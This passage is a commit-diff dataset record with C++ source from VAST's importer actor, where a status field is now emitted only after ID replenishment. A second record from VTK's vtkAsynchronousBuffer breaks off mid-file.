{"text":"<commit_before>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#include \"vast\/system\/importer.hpp\"\n\n#include <fstream>\n\n#include <caf\/config_value.hpp>\n#include <caf\/dictionary.hpp>\n\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/defaults.hpp\"\n#include \"vast\/detail\/fill_status_map.hpp\"\n#include \"vast\/detail\/notifying_stream_manager.hpp\"\n#include \"vast\/logger.hpp\"\n#include \"vast\/system\/atoms.hpp\"\n#include \"vast\/table_slice.hpp\"\n\nusing namespace std::chrono;\nusing namespace std::chrono_literals;\nusing namespace caf;\n\nnamespace vast::system {\n\nimporter_state::importer_state(event_based_actor* self_ptr) : self(self_ptr) {\n  \/\/ nop\n}\n\nimporter_state::~importer_state() {\n  write_state();\n}\n\ncaf::error importer_state::read_state() {\n  VAST_TRACE(\"\");\n  id_generators.clear();\n  auto file = dir \/ \"available_ids\";\n  if (exists(file)) {\n    VAST_DEBUG(self, \"reads persistent state from\", to_string(file));\n    std::ifstream available{to_string(file)};\n    std::string line;\n    while (std::getline(available, line)) {\n      id i;\n      id last;\n      std::istringstream in{line};\n      if (in >> i >> last) {\n        VAST_DEBUG(self, \"found ID range:\", i, \"to\", last);\n        id_generators.emplace_back(i, last);\n      } else {\n        VAST_ERROR(self, \"got an invalidly formatted persistence file:\",\n                   to_string(file));\n        return ec::parse_error;\n      }\n    }\n  }\n  return caf::none;\n}\n\ncaf::error importer_state::write_state() {\n  VAST_TRACE(\"\");\n  if (id_generators.empty() || available_ids() == 0)\n    return caf::none;\n  if (!exists(dir)) {\n    auto result = mkdir(dir);\n    if (!result)\n      return std::move(result.error());\n  }\n  std::ofstream available{to_string(dir \/ \"available_ids\")};\n  auto i = id_generators.begin();\n  available << i->i << ' ' << i->last;\n  for (++i; i != id_generators.end(); ++i) {\n    available << '\\n' << i->i << ' ' << i->last;\n  }\n  VAST_DEBUG(self, \"saved\", available_ids(), \"available IDs\");\n  return caf::none;\n}\n\nint32_t importer_state::available_ids() const noexcept {\n  auto f = [](int32_t x, const id_generator& y) {\n    return x + y.remaining();\n  };\n  return std::accumulate(id_generators.begin(), id_generators.end(),\n                         int32_t{0}, f);\n}\n\nid importer_state::next_id_block() {\n  VAST_ASSERT(!id_generators.empty());\n  auto& g = id_generators.front();\n  VAST_ASSERT(!g.at_end());\n  auto result = g.next(max_table_slice_size);\n  if (g.at_end())\n    id_generators.erase(id_generators.begin());\n  return result;\n}\n\ncaf::dictionary<caf::config_value> importer_state::status() const {\n  caf::dictionary<caf::config_value> result;\n  \/\/ Misc parameters.\n  result.emplace(\"in-flight-slices\", in_flight_slices);\n  result.emplace(\"max-table-slice-size\", max_table_slice_size);\n  result.emplace(\"blocks-per-replenish\", blocks_per_replenish);\n  result.emplace(\"last-replenish\", caf::deep_to_string(last_replenish));\n  result.emplace(\"awaiting-ids\", awaiting_ids);\n  result.emplace(\"available-ids\", available_ids());\n  if (!id_generators.empty())\n    result.emplace(\"next-id\", id_generators.front().i);\n  \/\/ General state such as open streams.\n  detail::fill_status_map(result, self);\n  return result;\n}\n\nvoid importer_state::send_report() {\n  auto now = stopwatch::now();\n  if (measurement_.events > 0) {\n    using namespace std::string_literals;\n    auto elapsed = std::chrono::duration_cast<measurement::timespan>(\n      now - last_report);\n    auto node_throughput = measurement{elapsed, measurement_.events};\n    auto r = performance_report{\n      {{\"importer\"s, measurement_}, {\"node_throughput\"s, node_throughput}}};\n    measurement_ = measurement{};\n    self->send(accountant, std::move(r));\n  }\n  last_report = now;\n}\n\nvoid importer_state::notify_flush_listeners() {\n  VAST_DEBUG(self, \"forwards 'flush' subscribers to\", index_actors.size(),\n             \"INDEX actors\");\n  for (auto& listener : flush_listeners)\n    for (auto& next : index_actors)\n      self->send(next, subscribe_atom::value, flush_atom::value, listener);\n  flush_listeners.clear();\n}\n\nnamespace {\n\n\/\/ Asks the consensus module for more IDs.\nvoid replenish(stateful_actor<importer_state>* self) {\n  VAST_TRACE(\"\");\n  auto& st = self->state;\n  \/\/ Do nothing if we're already waiting for a response from the consensus\n  \/\/ module.\n  if (st.awaiting_ids)\n    return;\n  \/\/ Check whether we obtain new IDs too frequently.\n  auto now = steady_clock::now();\n  if ((now - st.last_replenish) < 10s) {\n    VAST_DEBUG(self, \"had to replenish twice within 10 secs\");\n    VAST_DEBUG(self, \"increase blocks_per_replenish:\", st.blocks_per_replenish,\n                    \"->\", st.blocks_per_replenish + 100);\n    st.blocks_per_replenish += 100;\n  }\n  st.last_replenish = now;\n  VAST_DEBUG(self, \"replenishes\", st.blocks_per_replenish, \"ID blocks\");\n  \/\/ If we get an EXIT message while expecting a response from the consensus\n  \/\/ module, we'll give it a bit of time to come back.\n  self->set_default_handler(skip);\n  \/\/ Trigger consensus module and wait for response.\n  auto n = st.max_table_slice_size * st.blocks_per_replenish;\n  self->send(st.consensus, add_atom::value, \"id\", data{n});\n  st.awaiting_ids = true;\n  self->become(\n    keep_behavior,\n    [=](const data& old) {\n      auto x = caf::holds_alternative<caf::none_t>(old) ? count{0}\n                                                        : caf::get<count>(old);\n      VAST_DEBUG(self, \"got\", n, \"new IDs starting at\", x);\n      auto& st = self->state;\n      \/\/ Add a new ID generator for the available range.\n      VAST_ASSERT(st.awaiting_ids);\n      st.id_generators.emplace_back(x, x + n);\n      \/\/ Save state.\n      auto err = self->state.write_state();\n      if (err) {\n        VAST_ERROR(self, \"failed to save state:\", self->system().render(err));\n        self->quit(std::move(err));\n        return;\n      }\n      \/\/ Try to emit more credit with out new IDs.\n      st.stg->advance();\n      \/\/ Return to previous behavior.\n      st.awaiting_ids = false;\n      self->set_default_handler(print_and_drop);\n      self->unbecome();\n    }\n  );\n}\n\nclass driver : public importer_state::driver_base {\npublic:\n  using super = importer_state::driver_base;\n\n  using pointer = importer_actor*;\n\n  driver(importer_state::downstream_manager& out, pointer self)\n    : super(out),\n      self_(self) {\n    \/\/ nop\n  }\n\n  void process(caf::downstream<output_type>& out,\n               std::vector<input_type>& xs) override {\n    VAST_TRACE(VAST_ARG(xs));\n    auto& st = self_->state;\n    auto t = timer::start(st.measurement_);\n    VAST_DEBUG(self_, \"has\", st.available_ids(), \"IDs available\");\n    VAST_DEBUG(self_, \"got\", xs.size(), \"slices with\", st.in_flight_slices,\n               \"in-flight slices\");\n    VAST_ASSERT(xs.size() <= static_cast<size_t>(st.available_ids()));\n    VAST_ASSERT(xs.size() <= static_cast<size_t>(st.in_flight_slices));\n    st.in_flight_slices -= static_cast<int32_t>(xs.size());\n    uint64_t events = 0;\n    for (auto& x : xs) {\n      events += x->rows();\n      x.unshared().offset(st.next_id_block());\n      out.push(std::move(x));\n    }\n    t.stop(events);\n  }\n\n  int32_t acquire_credit(inbound_path* path, int32_t desired) override {\n    VAST_TRACE(VAST_ARG(path) << VAST_ARG(desired));\n    CAF_IGNORE_UNUSED(path);\n    \/\/ This function makes sure that we never hand out more credit than we have\n    \/\/ IDs available.\n    if (desired == 0) {\n      \/\/ Easy decision if the path acquires no new credit.\n      return 0;\n    }\n    \/\/ Calculate how much more in-flight events we can allow.\n    auto& st = self_->state;\n    CAF_ASSERT(st.available_ids() % st.max_table_slice_size == 0);\n    auto max_credit = (st.available_ids() \/ st.max_table_slice_size)\n                      - st.in_flight_slices;\n    VAST_ASSERT(max_credit >= 0);\n    if (max_credit <= desired) {\n      \/\/ Get more IDs if we're running out.\n      VAST_DEBUG(self_, \"had to limit acquired credit to\", max_credit);\n      replenish(self_);\n      st.in_flight_slices += max_credit;\n      return max_credit;\n    }\n    st.in_flight_slices += desired;\n    return desired;\n  }\n\n  pointer self() const {\n    return self_;\n  }\n\nprivate:\n  pointer self_;\n};\n\nauto make_importer_stage(importer_actor* self) {\n  using impl = detail::notifying_stream_manager<driver>;\n  auto result = caf::make_counted<impl>(self);\n  result->continuous(true);\n  return result;\n}\n\n} \/\/ namespace <anonymous>\n\nbehavior importer(stateful_actor<importer_state>* self, path dir,\n                  size_t max_table_slice_size) {\n  VAST_TRACE(VAST_ARG(dir), VAST_ARG(max_table_slice_size));\n  self->state.dir = dir;\n  self->state.last_replenish = steady_clock::time_point::min();\n  self->state.max_table_slice_size = static_cast<int32_t>(max_table_slice_size);\n  auto err = self->state.read_state();\n  if (err) {\n    VAST_ERROR(self, \"failed to load state:\", self->system().render(err));\n    self->quit(std::move(err));\n    return {};\n  }\n  namespace defs = defaults::system;\n  if (auto a = self->system().registry().get(accountant_atom::value)) {\n    self->state.accountant = actor_cast<accountant_type>(a);\n    self->send(self->state.accountant, announce_atom::value, self->name());\n    self->delayed_send(self, defs::telemetry_rate, telemetry_atom::value);\n  }\n  self->set_exit_handler(\n    [=](const exit_msg& msg) {\n      self->state.send_report();\n      self->quit(msg.reason);\n    });\n  self->state.stg = make_importer_stage(self);\n  return {\n    [=](const consensus_type& c) {\n      VAST_DEBUG(self, \"registers consensus module\");\n      VAST_ASSERT(c != self->state.consensus);\n      self->monitor(c);\n      self->state.consensus = c;\n    },\n    [=](const archive_type& archive) {\n      VAST_DEBUG(self, \"registers archive\", archive);\n      return self->state.stg->add_outbound_path(archive);\n    },\n    [=](index_atom, const actor& index) {\n      VAST_DEBUG(self, \"registers index\", index);\n      self->state.index_actors.emplace_back(index);\n      \/\/ TODO: currently, the subscriber expects only a single 'flush' message.\n      \/\/       Adding multiple INDEX actors will cause the subscriber to\n      \/\/       receive more than one 'flush'  message, but the subscriber only\n      \/\/       expects one and will stop waiting after the first one. Once we\n      \/\/       support multiple INDEX actors at the IMPORTER, we also need to\n      \/\/       revise the signaling of these 'flush' messages.\n      if (self->state.index_actors.size() > 1)\n        VAST_WARNING(self, \"registered more than one INDEX actor\",\n                     \"(currently unsupported!)\");\n      return self->state.stg->add_outbound_path(index);\n    },\n    [=](exporter_atom, const actor& exporter) {\n      VAST_DEBUG(self, \"registers exporter\", exporter);\n      return self->state.stg->add_outbound_path(exporter);\n    },\n    [=](stream<importer_state::input_type>& in) {\n      auto& st = self->state;\n      if (!st.consensus) {\n        VAST_ERROR(self, \"has no consensus module configured\");\n        return;\n      }\n      VAST_INFO(self, \"adds a new source\");\n      st.stg->add_inbound_path(in);\n    },\n    [=](add_atom, const actor& subscriber) {\n      auto& st = self->state;\n      VAST_INFO(self, \"adds a new sink\");\n      st.stg->add_outbound_path(subscriber);\n    },\n    [=](subscribe_atom, flush_atom, actor& listener) {\n      auto& st = self->state;\n      VAST_ASSERT(st.stg != nullptr);\n      st.flush_listeners.emplace_back(std::move(listener));\n      detail::notify_listeners_if_clean(st, *st.stg);\n    },\n    [=](status_atom) {\n      return self->state.status();\n    },\n    [=](telemetry_atom) {\n      self->state.send_report();\n      self->delayed_send(self, defs::telemetry_rate, telemetry_atom::value);\n    }\n  };\n}\n\n} \/\/ namespace vast::system\n<commit_msg>Include last_replenish for status only after use<commit_after>\/******************************************************************************\n *                    _   _____   __________                                  *\n *                   | | \/ \/ _ | \/ __\/_  __\/     Visibility                   *\n *                   | |\/ \/ __ |_\\ \\  \/ \/          Across                     *\n *                   |___\/_\/ |_\/___\/ \/_\/       Space and Time                 *\n *                                                                            *\n * This file is part of VAST. It is subject to the license terms in the       *\n * LICENSE file found in the top-level directory of this distribution and at  *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be       *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file.                                             *\n ******************************************************************************\/\n\n#include \"vast\/system\/importer.hpp\"\n\n#include <fstream>\n\n#include <caf\/config_value.hpp>\n#include <caf\/dictionary.hpp>\n\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/error.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/defaults.hpp\"\n#include \"vast\/detail\/fill_status_map.hpp\"\n#include \"vast\/detail\/notifying_stream_manager.hpp\"\n#include \"vast\/logger.hpp\"\n#include \"vast\/system\/atoms.hpp\"\n#include \"vast\/table_slice.hpp\"\n\nusing namespace std::chrono;\nusing namespace std::chrono_literals;\nusing namespace caf;\n\nnamespace vast::system {\n\nimporter_state::importer_state(event_based_actor* self_ptr) : self(self_ptr) {\n  \/\/ nop\n}\n\nimporter_state::~importer_state() {\n  write_state();\n}\n\ncaf::error importer_state::read_state() {\n  VAST_TRACE(\"\");\n  id_generators.clear();\n  auto file = dir \/ \"available_ids\";\n  if (exists(file)) {\n    VAST_DEBUG(self, \"reads persistent state from\", to_string(file));\n    std::ifstream available{to_string(file)};\n    std::string line;\n    while (std::getline(available, line)) {\n      id i;\n      id last;\n      std::istringstream in{line};\n      if (in >> i >> last) {\n        VAST_DEBUG(self, \"found ID range:\", i, \"to\", last);\n        id_generators.emplace_back(i, last);\n      } else {\n        VAST_ERROR(self, \"got an invalidly formatted persistence file:\",\n                   to_string(file));\n        return ec::parse_error;\n      }\n    }\n  }\n  return caf::none;\n}\n\ncaf::error importer_state::write_state() {\n  VAST_TRACE(\"\");\n  if (id_generators.empty() || available_ids() == 0)\n    return caf::none;\n  if (!exists(dir)) {\n    auto result = mkdir(dir);\n    if (!result)\n      return std::move(result.error());\n  }\n  std::ofstream available{to_string(dir \/ \"available_ids\")};\n  auto i = id_generators.begin();\n  available << i->i << ' ' << i->last;\n  for (++i; i != id_generators.end(); ++i) {\n    available << '\\n' << i->i << ' ' << i->last;\n  }\n  VAST_DEBUG(self, \"saved\", available_ids(), \"available IDs\");\n  return caf::none;\n}\n\nint32_t importer_state::available_ids() const noexcept {\n  auto f = [](int32_t x, const id_generator& y) {\n    return x + y.remaining();\n  };\n  return std::accumulate(id_generators.begin(), id_generators.end(),\n                         int32_t{0}, f);\n}\n\nid importer_state::next_id_block() {\n  VAST_ASSERT(!id_generators.empty());\n  auto& g = id_generators.front();\n  VAST_ASSERT(!g.at_end());\n  auto result = g.next(max_table_slice_size);\n  if (g.at_end())\n    id_generators.erase(id_generators.begin());\n  return result;\n}\n\ncaf::dictionary<caf::config_value> importer_state::status() const {\n  caf::dictionary<caf::config_value> result;\n  \/\/ Misc parameters.\n  result.emplace(\"in-flight-slices\", in_flight_slices);\n  result.emplace(\"max-table-slice-size\", max_table_slice_size);\n  result.emplace(\"blocks-per-replenish\", blocks_per_replenish);\n  if (last_replenish > steady_clock::time_point::min())\n    result.emplace(\"last-replenish\", caf::deep_to_string(last_replenish));\n  result.emplace(\"awaiting-ids\", awaiting_ids);\n  result.emplace(\"available-ids\", available_ids());\n  if (!id_generators.empty())\n    result.emplace(\"next-id\", id_generators.front().i);\n  \/\/ General state such as open streams.\n  detail::fill_status_map(result, self);\n  return result;\n}\n\nvoid importer_state::send_report() {\n  auto now = stopwatch::now();\n  if (measurement_.events > 0) {\n    using namespace std::string_literals;\n    auto elapsed = std::chrono::duration_cast<measurement::timespan>(\n      now - last_report);\n    auto node_throughput = measurement{elapsed, measurement_.events};\n    auto r = performance_report{\n      {{\"importer\"s, measurement_}, {\"node_throughput\"s, node_throughput}}};\n    measurement_ = measurement{};\n    self->send(accountant, std::move(r));\n  }\n  last_report = now;\n}\n\nvoid importer_state::notify_flush_listeners() {\n  VAST_DEBUG(self, \"forwards 'flush' subscribers to\", index_actors.size(),\n             \"INDEX actors\");\n  for (auto& listener : flush_listeners)\n    for (auto& next : index_actors)\n      self->send(next, subscribe_atom::value, flush_atom::value, listener);\n  flush_listeners.clear();\n}\n\nnamespace {\n\n\/\/ Asks the consensus module for more IDs.\nvoid replenish(stateful_actor<importer_state>* self) {\n  VAST_TRACE(\"\");\n  auto& st = self->state;\n  \/\/ Do nothing if we're already waiting for a response from the consensus\n  \/\/ module.\n  if (st.awaiting_ids)\n    return;\n  \/\/ Check whether we obtain new IDs too frequently.\n  auto now = steady_clock::now();\n  if ((now - st.last_replenish) < 10s) {\n    VAST_DEBUG(self, \"had to replenish twice within 10 secs\");\n    VAST_DEBUG(self, \"increase blocks_per_replenish:\", st.blocks_per_replenish,\n                    \"->\", st.blocks_per_replenish + 100);\n    st.blocks_per_replenish += 100;\n  }\n  st.last_replenish = now;\n  VAST_DEBUG(self, \"replenishes\", st.blocks_per_replenish, \"ID blocks\");\n  \/\/ If we get an EXIT message while expecting a response from the consensus\n  \/\/ module, we'll give it a bit of time to come back.\n  self->set_default_handler(skip);\n  \/\/ Trigger consensus module and wait for response.\n  auto n = st.max_table_slice_size * st.blocks_per_replenish;\n  self->send(st.consensus, add_atom::value, \"id\", data{n});\n  st.awaiting_ids = true;\n  self->become(\n    keep_behavior,\n    [=](const data& old) {\n      auto x = caf::holds_alternative<caf::none_t>(old) ? count{0}\n                                                        : caf::get<count>(old);\n      VAST_DEBUG(self, \"got\", n, \"new IDs starting at\", x);\n      auto& st = self->state;\n      \/\/ Add a new ID generator for the available range.\n      VAST_ASSERT(st.awaiting_ids);\n      st.id_generators.emplace_back(x, x + n);\n      \/\/ Save state.\n      auto err = self->state.write_state();\n      if (err) {\n        VAST_ERROR(self, \"failed to save state:\", self->system().render(err));\n        self->quit(std::move(err));\n        return;\n      }\n      \/\/ Try to emit more credit with out new IDs.\n      st.stg->advance();\n      \/\/ Return to previous behavior.\n      st.awaiting_ids = false;\n      self->set_default_handler(print_and_drop);\n      self->unbecome();\n    }\n  );\n}\n\nclass driver : public importer_state::driver_base {\npublic:\n  using super = importer_state::driver_base;\n\n  using pointer = importer_actor*;\n\n  driver(importer_state::downstream_manager& out, pointer self)\n    : super(out),\n      self_(self) {\n    \/\/ nop\n  }\n\n  void process(caf::downstream<output_type>& out,\n               std::vector<input_type>& xs) override {\n    VAST_TRACE(VAST_ARG(xs));\n    auto& st = self_->state;\n    auto t = timer::start(st.measurement_);\n    VAST_DEBUG(self_, \"has\", st.available_ids(), \"IDs available\");\n    VAST_DEBUG(self_, \"got\", xs.size(), \"slices with\", st.in_flight_slices,\n               \"in-flight slices\");\n    VAST_ASSERT(xs.size() <= static_cast<size_t>(st.available_ids()));\n    VAST_ASSERT(xs.size() <= static_cast<size_t>(st.in_flight_slices));\n    st.in_flight_slices -= static_cast<int32_t>(xs.size());\n    uint64_t events = 0;\n    for (auto& x : xs) {\n      events += x->rows();\n      x.unshared().offset(st.next_id_block());\n      out.push(std::move(x));\n    }\n    t.stop(events);\n  }\n\n  int32_t acquire_credit(inbound_path* path, int32_t desired) override {\n    VAST_TRACE(VAST_ARG(path) << VAST_ARG(desired));\n    CAF_IGNORE_UNUSED(path);\n    \/\/ This function makes sure that we never hand out more credit than we have\n    \/\/ IDs available.\n    if (desired == 0) {\n      \/\/ Easy decision if the path acquires no new credit.\n      return 0;\n    }\n    \/\/ Calculate how much more in-flight events we can allow.\n    auto& st = self_->state;\n    CAF_ASSERT(st.available_ids() % st.max_table_slice_size == 0);\n    auto max_credit = (st.available_ids() \/ st.max_table_slice_size)\n                      - st.in_flight_slices;\n    VAST_ASSERT(max_credit >= 0);\n    if (max_credit <= desired) {\n      \/\/ Get more IDs if we're running out.\n      VAST_DEBUG(self_, \"had to limit acquired credit to\", max_credit);\n      replenish(self_);\n      st.in_flight_slices += max_credit;\n      return max_credit;\n    }\n    st.in_flight_slices += desired;\n    return desired;\n  }\n\n  pointer self() const {\n    return self_;\n  }\n\nprivate:\n  pointer self_;\n};\n\nauto make_importer_stage(importer_actor* self) {\n  using impl = detail::notifying_stream_manager<driver>;\n  auto result = caf::make_counted<impl>(self);\n  result->continuous(true);\n  return result;\n}\n\n} \/\/ namespace <anonymous>\n\nbehavior importer(stateful_actor<importer_state>* self, path dir,\n                  size_t max_table_slice_size) {\n  VAST_TRACE(VAST_ARG(dir), VAST_ARG(max_table_slice_size));\n  self->state.dir = dir;\n  self->state.last_replenish = steady_clock::time_point::min();\n  self->state.max_table_slice_size = static_cast<int32_t>(max_table_slice_size);\n  auto err = self->state.read_state();\n  if (err) {\n    VAST_ERROR(self, \"failed to load state:\", self->system().render(err));\n    self->quit(std::move(err));\n    return {};\n  }\n  namespace defs = defaults::system;\n  if (auto a = self->system().registry().get(accountant_atom::value)) {\n    self->state.accountant = actor_cast<accountant_type>(a);\n    self->send(self->state.accountant, announce_atom::value, self->name());\n    self->delayed_send(self, defs::telemetry_rate, telemetry_atom::value);\n  }\n  self->set_exit_handler(\n    [=](const exit_msg& msg) {\n      self->state.send_report();\n      self->quit(msg.reason);\n    });\n  self->state.stg = make_importer_stage(self);\n  return {\n    [=](const consensus_type& c) {\n      VAST_DEBUG(self, \"registers consensus module\");\n      VAST_ASSERT(c != self->state.consensus);\n      self->monitor(c);\n      self->state.consensus = c;\n    },\n    [=](const archive_type& archive) {\n      VAST_DEBUG(self, \"registers archive\", archive);\n      return self->state.stg->add_outbound_path(archive);\n    },\n    [=](index_atom, const actor& index) {\n      VAST_DEBUG(self, \"registers index\", index);\n      self->state.index_actors.emplace_back(index);\n      \/\/ TODO: currently, the subscriber expects only a single 'flush' message.\n      \/\/       Adding multiple INDEX actors will cause the subscriber to\n      \/\/       receive more than one 'flush'  message, but the subscriber only\n      \/\/       expects one and will stop waiting after the first one. Once we\n      \/\/       support multiple INDEX actors at the IMPORTER, we also need to\n      \/\/       revise the signaling of these 'flush' messages.\n      if (self->state.index_actors.size() > 1)\n        VAST_WARNING(self, \"registered more than one INDEX actor\",\n                     \"(currently unsupported!)\");\n      return self->state.stg->add_outbound_path(index);\n    },\n    [=](exporter_atom, const actor& exporter) {\n      VAST_DEBUG(self, \"registers exporter\", exporter);\n      return self->state.stg->add_outbound_path(exporter);\n    },\n    [=](stream<importer_state::input_type>& in) {\n      auto& st = self->state;\n      if (!st.consensus) {\n        VAST_ERROR(self, \"has no consensus module configured\");\n        return;\n      }\n      VAST_INFO(self, \"adds a new source\");\n      st.stg->add_inbound_path(in);\n    },\n    [=](add_atom, const actor& subscriber) {\n      auto& st = self->state;\n      VAST_INFO(self, \"adds a new sink\");\n      st.stg->add_outbound_path(subscriber);\n    },\n    [=](subscribe_atom, flush_atom, actor& listener) {\n      auto& st = self->state;\n      VAST_ASSERT(st.stg != nullptr);\n      st.flush_listeners.emplace_back(std::move(listener));\n      detail::notify_listeners_if_clean(st, *st.stg);\n    },\n    [=](status_atom) {\n      return self->state.status();\n    },\n    [=](telemetry_atom) {\n      self->state.send_report();\n      self->delayed_send(self, defs::telemetry_rate, telemetry_atom::value);\n    }\n  };\n}\n\n} \/\/ namespace vast::system\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkAsynchronousBuffer.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\/\/#include <unistd.h>\n#include \"vtkAsynchronousBuffer.h\"\n\n\/\/----------------------------------------------------------------------------\nvtkAsynchronousBuffer::vtkAsynchronousBuffer()\n{\n  this->Blocking = 1;\n  this->Threader = vtkMultiThreader::New();\n  this->ThreadId = -1;\n  this->Finished = 1;\n  this->OutputConsumed = 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkAsynchronousBuffer::~vtkAsynchronousBuffer()\n{\n  this->Threader->Delete();\n  this->Threader = NULL;\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ the asynchrous update function\nVTK_THREAD_RETURN_TYPE vtkAsynchronousBufferUpdate( void *arg )\n{\n  ThreadInfoStruct *info = (ThreadInfoStruct*)arg;\n  vtkAsynchronousBuffer *self = (vtkAsynchronousBuffer*)(info->UserData);\n\n  self->GetInput()->Update();\n  self->Finished = 1;\n\n  return VTK_THREAD_RETURN_VALUE;\n}\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::UpdateInformation()\n{\n  if (this->Blocking)\n    {\n    this->BlockingUpdateInformation();\n    }\n  else\n    {\n    this->NonblockingUpdateInformation();\n    }\n}\n\n  \n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::NonblockingUpdateInformation()\n{\n  vtkDataSet *input = this->GetInput();\n  vtkDataSet *output = this->GetOutput();\n  unsigned long t1, t2;\n  \n  \/\/ just some error checking\n  if (input == NULL)\n    {\n    vtkErrorMacro(\"No Input\");\n    return;\n    }\n  if (output == NULL)\n    {\n    vtkErrorMacro(\"No Output\");\n    return;\n    }\n  \n  \/\/ Avoid accessing input if another thread is running.\n  \/\/ I assume values from last UpdateInformation is sufficient.\n  if ( ! this->Finished)\n    {\n    vtkDebugMacro(\"Still Updating\");\n    return;\n    }\n  \n  \/\/ Test to see if we can promote data (copy form input to output)\n  \/\/ If last promotion has not been consumed.\n  \/\/ (The existance of a thread is used to detect promotable data.)\n  if (this->OutputConsumed && this->ThreadId != -1)\n    {\n    \/\/ Promote the data (copy input to output)\n    this->PromoteData();\n    this->OutputConsumed = 0;\n    \/\/ clean up thread.\n    vtkDebugMacro(\"Promoting data to output\");\n    this->Threader->TerminateThread(this->ThreadId);\n    this->ThreadId = -1;\n    \/\/ This modified will cause update to be called ...\n    \/\/ (not really necessary, because output has been modified by promotion).\n    this->Modified();\n    }\n  \n  \/\/ Test to see if we should start an asynchronous update.\n  \/\/ Only start an update if we are not updating already, \n  \/\/ and there is no promotable data.\n  if (this->ThreadId == -1)\n    {\n    \/\/ check the update time of the input directly to pre determine\n    \/\/ whether input will generate new data.\n    input->UpdateInformation();\n    if (input->GetPipelineMTime() > input->GetUpdateTime())\n      {\n      \/\/ spawn a thread and start an update.\n      \/\/ what if an abort occurs?!! ... \n      vtkDebugMacro(\"Spawn an update\");\n      this->Finished = 0;\n      this->ThreadId = \n\tthis->Threader->SpawnThread(vtkAsynchronousBufferUpdate, (void *)this);\n      }\n    }\n  \n  \/\/ Do the typical update information stuff (as if we were a simple source).\n  output->SetLocality(0);\n  t1 = this->GetMTime();\n  t2 = output->GetMTime();\n  if (t2 > t1)\n    {\n    t1 = t2;\n    }\n  output->SetPipelineMTime(t1);\n  \/\/ Is it up to date? Really? Oh well.\n  output->SetEstimatedWholeMemorySize(input->GetEstimatedWholeMemorySize());\n  \/\/ Copy data specific information\n  output->CopyInformation(input);\n}\n  \n  \n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::BlockingUpdateInformation()\n{\n  vtkDataSet *input = this->GetInput();\n  vtkDataSet *output = this->GetOutput();\n  \n  \/\/ just some error checking\n  if (input == NULL)\n    {\n    vtkErrorMacro(\"No Input\");\n    return;\n    }\n  if (output == NULL)\n    {\n    vtkErrorMacro(\"No Output\");\n    return;\n    }\n  \n  \/\/ make sure we are not already updating asynchronously.\n  this->WaitForFinished();\n\n  \/\/ Now we can look downstream for pipeline mtime.\n  this->vtkSource::UpdateInformation();\n\n  \/\/ Copy data specific information\n  output->CopyInformation(input);\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::InternalUpdate(vtkDataObject *output)\n{\n  if (this->Blocking)\n    {\n    this->BlockingUpdate();\n    }\n  else\n    {\n    this->NonblockingUpdate();\n    }\n} \n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::NonblockingUpdate()\n{\n  \/\/ Every thing has been done in UpdateInformation\n  \/\/ Maybe we should leave the promotion to the update, but that might\n  \/\/ cause a delay initiating the next asynchronous update.\n  \n  this->OutputConsumed = 1;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ To make sure the data gets to output (for initialization)\n\/\/ I am not positive this still 